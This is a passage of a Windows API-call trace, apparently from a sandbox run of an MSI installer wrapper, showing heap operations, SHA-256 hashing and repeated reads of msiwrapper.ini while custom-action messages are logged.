Flags=0x0, Size=0x20) returned 0x2410a78 [0150.485] CryptGetHashParam (in: hHash=0x436160, dwParam=0x2, pbData=0x2410a78, pdwDataLen=0x214f180, dwFlags=0x0 | out: pbData=0x2410a78, pdwDataLen=0x214f180) returned 1 [0150.485] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410aa0 [0150.485] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x18) returned 0x2410f08 [0150.485] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ab0 [0150.486] GetLastError () returned 0x0 [0150.486] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410b60 [0150.486] GetLastError () returned 0x0 [0150.486] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x40) returned 0x2410b88 [0150.486] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b60 | out: hHeap=0x2410000) returned 1 [0150.487] GetLastError () returned 0x0 [0150.487] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410bd0 [0150.487] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410c28 [0150.487] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410bd0 | out: hHeap=0x2410000) returned 1 [0150.487] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0150.487] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x439be8 [0150.487] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x439bf8, cchWideChar=64 | out: lpWideCharStr="c16e7c7abe729791dfb124513c75ab242b5b67ce4bee2255a9e43103ad7b0870dc9763e3ꘋ䟵阏") returned 0 [0150.488] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410c28 | out: hHeap=0x2410000) returned 1 [0150.488] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b88 | out: hHeap=0x2410000) returned 1 [0150.488] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ab0 | out: hHeap=0x2410000) returned 1 [0150.488] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410f08 | out: hHeap=0x2410000) returned 1 [0150.488] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410aa0 | out: hHeap=0x2410000) returned 1 [0150.489] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410a78 | out: hHeap=0x2410000) returned 1 [0150.489] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ef8 | out: hHeap=0x2410000) returned 1 [0150.489] CryptDestroyHash (hHash=0x436160) returned 1 [0150.489] CryptReleaseContext (hProv=0x439148, dwFlags=0x0) returned 1 [0150.489] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439be8 | out: hHeap=0x400000) returned 1 [0150.490] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.490] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433e10 [0150.490] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x433e10, Size=0x40) returned 0x41bb10 [0150.490] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433e10 [0150.490] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41bb10 | out: hHeap=0x400000) returned 1 [0150.490] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.490] MsiCreateRecord (cParams=0x2) returned 0x52 [0150.492] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb58 [0150.492] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb58, Size=0x70) returned 0x4357c0 [0150.492] MsiRecordSetStringW (hRecord=0x52, iField=0x0, szValue="-- CUSTOM ACTION -- Setup parameters are \"\"") returned 0x0 [0150.493] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x52) returned 0 [0150.496] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.496] MsiCloseHandle (hAny=0x52) returned 0x0 [0150.498] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41bb10 | out: hHeap=0x400000) returned 1 [0150.498] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0150.498] GetFileSize (in: hFile=0x184, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ca [0150.498] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4cc) returned 0x2412ae0 [0150.498] ReadFile (in: hFile=0x184, lpBuffer=0x2412ae0, nNumberOfBytesToRead=0x4ca, lpNumberOfBytesRead=0x214f210, lpOverlapped=0x0 | out: lpBuffer=0x2412ae0*, lpNumberOfBytesRead=0x214f210*=0x4ca, lpOverlapped=0x0) returned 1 [0150.498] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2412ae0 | out: hHeap=0x2410000) returned 1 [0150.498] CloseHandle (hObject=0x184) returned 1 [0150.499] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433e38 [0150.499] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x4357c0 [0150.499] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x433e38 | out: hHeap=0x400000) returned 1 [0150.499] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433e38 [0150.500] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x433e38 | out: hHeap=0x400000) returned 1 [0150.500] CryptAcquireContextW (in: phProv=0x214f1d4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x214f1d4*=0x439148) returned 1 [0150.502] CryptCreateHash (in: hProv=0x439148, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x214f1d8 | out: phHash=0x214f1d8) returned 1 [0150.502] CryptHashData (hHash=0x4361a0, pbData=0x436008, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0150.502] CryptHashData (hHash=0x4361a0, pbData=0x435b20, dwDataLen=0x442, dwFlags=0x0) returned 1 [0150.502] CryptGetHashParam (in: hHash=0x4361a0, dwParam=0x4, pbData=0x214f180, pdwDataLen=0x214f160, dwFlags=0x0 | out: pbData=0x214f180, pdwDataLen=0x214f160) returned 1 [0150.502] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ef8 [0150.502] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410a78 [0150.502] CryptGetHashParam (in: hHash=0x4361a0, dwParam=0x2, pbData=0x2410a78, pdwDataLen=0x214f180, dwFlags=0x0 | out: pbData=0x2410a78, pdwDataLen=0x214f180) returned 1 [0150.502] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410aa0 [0150.502] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x18) returned 0x2410f08 [0150.502] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ab0 [0150.503] GetLastError () returned 0x0 [0150.503] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410b60 [0150.503] GetLastError () returned 0x0 [0150.503] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x40) returned 0x2410b88 [0150.503] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b60 | out: hHeap=0x2410000) returned 1 [0150.503] GetLastError () returned 0x0 [0150.504] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410bd0 [0150.504] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410c28 [0150.504] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410bd0 | out: hHeap=0x2410000) returned 1 [0150.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0150.504] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x439be8 [0150.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x439bf8, cchWideChar=64 | out: lpWideCharStr="c16e7c7abe729791dfb124513c75ab242b5b67ce4bee2255a9e43103ad7b0870dc9763e3ꘋ䟵阏") returned 0 [0150.505] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410c28 | out: hHeap=0x2410000) returned 1 [0150.505] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b88 | out: hHeap=0x2410000) returned 1 [0150.505] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ab0 | out: hHeap=0x2410000) returned 1 [0150.505] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410f08 | out: hHeap=0x2410000) returned 1 [0150.505] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410aa0 | out: hHeap=0x2410000) returned 1 [0150.506] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410a78 | out: hHeap=0x2410000) returned 1 [0150.506] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ef8 | out: hHeap=0x2410000) returned 1 [0150.506] CryptDestroyHash (hHash=0x4361a0) returned 1 [0150.506] CryptReleaseContext (hProv=0x439148, dwFlags=0x0) returned 1 [0150.506] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439be8 | out: hHeap=0x400000) returned 1 [0150.506] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.506] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433e38 [0150.506] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x433e38, Size=0x30) returned 0x42abb8 [0150.506] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433e38 [0150.507] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x42abb8 | out: hHeap=0x400000) returned 1 [0150.507] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.507] MsiCreateRecord (cParams=0x2) returned 0x53 [0150.509] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb58 [0150.509] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb58, Size=0x70) returned 0x4357c0 [0150.509] MsiRecordSetStringW (hRecord=0x53, iField=0x0, szValue="-- CUSTOM ACTION -- Working directory is \"\"") returned 0x0 [0150.510] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x53) returned 0 [0150.515] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.515] MsiCloseHandle (hAny=0x53) returned 0x0 [0150.517] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41bb10 | out: hHeap=0x400000) returned 1 [0150.517] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0150.517] GetFileSize (in: hFile=0x184, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ca [0150.517] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4cc) returned 0x2412ae0 [0150.517] ReadFile (in: hFile=0x184, lpBuffer=0x2412ae0, nNumberOfBytesToRead=0x4ca, lpNumberOfBytesRead=0x214f210, lpOverlapped=0x0 | out: lpBuffer=0x2412ae0*, lpNumberOfBytesRead=0x214f210*=0x4ca, lpOverlapped=0x0) returned 1 [0150.517] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2412ae0 | out: hHeap=0x2410000) returned 1 [0150.517] CloseHandle (hObject=0x184) returned 1 [0150.518] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433e60 [0150.518] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x4357c0 [0150.518] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x433e60 | out: hHeap=0x400000) returned 1 [0150.518] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433e60 [0150.518] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x433e60 | out: hHeap=0x400000) returned 1 [0150.518] CryptAcquireContextW (in: phProv=0x214f1d4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x214f1d4*=0x439148) returned 1 [0150.519] CryptCreateHash (in: hProv=0x439148, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x214f1d8 | out: phHash=0x214f1d8) returned 1 [0150.519] CryptHashData (hHash=0x436160, pbData=0x436008, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0150.519] CryptHashData (hHash=0x436160, pbData=0x435b20, dwDataLen=0x442, dwFlags=0x0) returned 1 [0150.519] CryptGetHashParam (in: hHash=0x436160, dwParam=0x4, pbData=0x214f180, pdwDataLen=0x214f160, dwFlags=0x0 | out: pbData=0x214f180, pdwDataLen=0x214f160) returned 1 [0150.520] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ef8 [0150.520] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410a78 [0150.520] CryptGetHashParam (in: hHash=0x436160, dwParam=0x2, pbData=0x2410a78, pdwDataLen=0x214f180, dwFlags=0x0 | out: pbData=0x2410a78, pdwDataLen=0x214f180) returned 1 [0150.520] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410aa0 [0150.520] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x18) returned 0x2410f08 [0150.520] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ab0 [0150.520] GetLastError () returned 0x0 [0150.520] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410b60 [0150.520] GetLastError () returned 0x0 [0150.520] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x40) returned 0x2410b88 [0150.521] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b60 | out: hHeap=0x2410000) returned 1 [0150.521] GetLastError () returned 0x0 [0150.521] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410bd0 [0150.521] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410c28 [0150.521] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410bd0 | out: hHeap=0x2410000) returned 1 [0150.521] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0150.521] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x439be8 [0150.521] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x439bf8, cchWideChar=64 | out: lpWideCharStr="c16e7c7abe729791dfb124513c75ab242b5b67ce4bee2255a9e43103ad7b0870dc9763e3ꘋ䟵阏") returned 0 [0150.521] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410c28 | out: hHeap=0x2410000) returned 1 [0150.522] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b88 | out: hHeap=0x2410000) returned 1 [0150.522] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ab0 | out: hHeap=0x2410000) returned 1 [0150.522] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410f08 | out: hHeap=0x2410000) returned 1 [0150.522] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410aa0 | out: hHeap=0x2410000) returned 1 [0150.522] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410a78 | out: hHeap=0x2410000) returned 1 [0150.522] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ef8 | out: hHeap=0x2410000) returned 1 [0150.522] CryptDestroyHash (hHash=0x436160) returned 1 [0150.522] CryptReleaseContext (hProv=0x439148, dwFlags=0x0) returned 1 [0150.523] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439be8 | out: hHeap=0x400000) returned 1 [0150.523] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.523] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433e60 [0150.523] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x433e60, Size=0x30) returned 0x42abb8 [0150.523] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x30) returned 0x436108 [0150.523] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x42abb8 | out: hHeap=0x400000) returned 1 [0150.523] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.523] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0x70) returned 0x4357c0 [0150.523] MsiCreateRecord (cParams=0x2) returned 0x54 [0150.525] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.525] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0x80) returned 0x439148 [0150.525] MsiRecordSetStringW (hRecord=0x54, iField=0x0, szValue="-- CUSTOM ACTION -- Current directory is *SOURCEDIR*") returned 0x0 [0150.526] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x54) returned 0 [0150.530] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439148 | out: hHeap=0x400000) returned 1 [0150.530] MsiCloseHandle (hAny=0x54) returned 0x0 [0150.531] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.532] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0150.532] GetFileSize (in: hFile=0x184, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ca [0150.532] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4cc) returned 0x2412ae0 [0150.532] ReadFile (in: hFile=0x184, lpBuffer=0x2412ae0, nNumberOfBytesToRead=0x4ca, lpNumberOfBytesRead=0x214f210, lpOverlapped=0x0 | out: lpBuffer=0x2412ae0*, lpNumberOfBytesRead=0x214f210*=0x4ca, lpOverlapped=0x0) returned 1 [0150.532] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2412ae0 | out: hHeap=0x2410000) returned 1 [0150.532] CloseHandle (hObject=0x184) returned 1 [0150.532] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433e60 [0150.532] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x4357c0 [0150.533] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x433e60 | out: hHeap=0x400000) returned 1 [0150.533] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433e60 [0150.533] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x433e60 | out: hHeap=0x400000) returned 1 [0150.533] CryptAcquireContextW (in: phProv=0x214f1d4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x214f1d4*=0x439148) returned 1 [0150.534] CryptCreateHash (in: hProv=0x439148, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x214f1d8 | out: phHash=0x214f1d8) returned 1 [0150.534] CryptHashData (hHash=0x4361a0, pbData=0x436008, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0150.534] CryptHashData (hHash=0x4361a0, pbData=0x435b20, dwDataLen=0x442, dwFlags=0x0) returned 1 [0150.535] CryptGetHashParam (in: hHash=0x4361a0, dwParam=0x4, pbData=0x214f180, pdwDataLen=0x214f160, dwFlags=0x0 | out: pbData=0x214f180, pdwDataLen=0x214f160) returned 1 [0150.535] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ef8 [0150.535] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410a78 [0150.535] CryptGetHashParam (in: hHash=0x4361a0, dwParam=0x2, pbData=0x2410a78, pdwDataLen=0x214f180, dwFlags=0x0 | out: pbData=0x2410a78, pdwDataLen=0x214f180) returned 1 [0150.535] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410aa0 [0150.535] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x18) returned 0x2410f08 [0150.535] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ab0 [0150.535] GetLastError () returned 0x0 [0150.535] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410b60 [0150.535] GetLastError () returned 0x0 [0150.536] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x40) returned 0x2410b88 [0150.536] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b60 | out: hHeap=0x2410000) returned 1 [0150.536] GetLastError () returned 0x0 [0150.536] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410bd0 [0150.536] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410c28 [0150.536] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410bd0 | out: hHeap=0x2410000) returned 1 [0150.536] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0150.537] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x439be8 [0150.537] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x439bf8, cchWideChar=64 | out: lpWideCharStr="c16e7c7abe729791dfb124513c75ab242b5b67ce4bee2255a9e43103ad7b0870dc9763e3ꘋ䟵阏") returned 0 [0150.537] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410c28 | out: hHeap=0x2410000) returned 1 [0150.537] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b88 | out: hHeap=0x2410000) returned 1 [0150.537] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ab0 | out: hHeap=0x2410000) returned 1 [0150.537] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410f08 | out: hHeap=0x2410000) returned 1 [0150.537] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410aa0 | out: hHeap=0x2410000) returned 1 [0150.538] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410a78 | out: hHeap=0x2410000) returned 1 [0150.538] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ef8 | out: hHeap=0x2410000) returned 1 [0150.538] CryptDestroyHash (hHash=0x4361a0) returned 1 [0150.538] CryptReleaseContext (hProv=0x439148, dwFlags=0x0) returned 1 [0150.538] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439be8 | out: hHeap=0x400000) returned 1 [0150.538] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.538] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433e60 [0150.538] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433e88 [0150.539] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x433e60 | out: hHeap=0x400000) returned 1 [0150.539] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x30) returned 0x42abb8 [0150.539] MsiCreateRecord (cParams=0x2) returned 0x55 [0150.540] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.540] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0x70) returned 0x4357c0 [0150.540] MsiRecordSetStringW (hRecord=0x55, iField=0x0, szValue="-- CUSTOM ACTION -- Focus is yes") returned 0x0 [0150.541] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x55) returned 0 [0150.544] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.544] MsiCloseHandle (hAny=0x55) returned 0x0 [0150.546] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x42abb8 | out: hHeap=0x400000) returned 1 [0150.546] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0150.546] GetFileSize (in: hFile=0x184, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ca [0150.546] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4cc) returned 0x2412ae0 [0150.546] ReadFile (in: hFile=0x184, lpBuffer=0x2412ae0, nNumberOfBytesToRead=0x4ca, lpNumberOfBytesRead=0x214f210, lpOverlapped=0x0 | out: lpBuffer=0x2412ae0*, lpNumberOfBytesRead=0x214f210*=0x4ca, lpOverlapped=0x0) returned 1 [0150.546] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2412ae0 | out: hHeap=0x2410000) returned 1 [0150.546] CloseHandle (hObject=0x184) returned 1 [0150.547] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433e60 [0150.547] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x4357c0 [0150.547] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x433e60 | out: hHeap=0x400000) returned 1 [0150.548] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x433e60 [0150.549] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x433e60 | out: hHeap=0x400000) returned 1 [0150.549] CryptAcquireContextW (in: phProv=0x214f1d4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x214f1d4*=0x439148) returned 1 [0150.550] CryptCreateHash (in: hProv=0x439148, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x214f1d8 | out: phHash=0x214f1d8) returned 1 [0150.550] CryptHashData (hHash=0x436160, pbData=0x436008, 